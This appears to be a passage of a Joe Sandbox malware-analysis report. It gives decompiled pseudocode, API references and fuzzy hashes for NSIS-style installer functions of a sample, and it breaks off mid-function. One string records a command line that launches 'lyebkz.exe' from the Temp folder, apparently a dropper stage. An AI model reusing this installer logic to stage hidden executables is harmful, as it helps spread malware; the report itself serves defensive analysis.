SetDlgItemTextW.USER32 ref: 00403007

Strings

verifying installer: %d%%, xrefs: 00402FDA
unpacking data: %d%%, xrefs: 00402FD3, 00402FE3

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402950(void* __ebx) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				void* _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405FAE(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406133(_t55);
				_t29 = E00406158(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x42a274;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004035F8(_t49);
							E004035E2(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E00403371(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t51 =  *_t59;
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00406113( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E0040620A( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E00403371(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029e7
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58

Uniqueness

Uniqueness Score: -1.00%

Function 00404E71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404E71(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004066A5(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004066A5(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004066A5(_t44, _t50, 0x423748, 0x423748, _a8);
				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
			}

0x00404e7a
0x00404e7f
0x00404e87
0x00404e88
0x00404e95
0x00404e9d
0x00404e9e
0x00404ea0
0x00404ea2
0x00404ea4
0x00404ea7
0x00404ea7
0x00404eae
0x00404eb4
0x00404eb4
0x00404ebb
0x00404ec2
0x00404ec5
0x00404ec8
0x00404ec8
0x00404ecc
0x00404edc
0x00404ede
0x00404ee1
0x00404e8a
0x00404e8a
0x00404e91
0x00404e91
0x00404ee9
0x00404ef4
0x00404f0a
0x00404f1b
0x00404f37

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
wsprintfW.USER32 ref: 00404F1B
SetDlgItemTextW.USER32 ref: 00404F2E

Strings

%u.%u%s%s, xrefs: 00404EFC
H7B, xrefs: 00404F04

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004064D5(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406A35(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?), ref: 00402F74

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E004066A5(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E004065AF();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32 ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066A5: lstrcatW.KERNEL32 ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406536 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406536(void* __ecx, void* __eflags, char _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

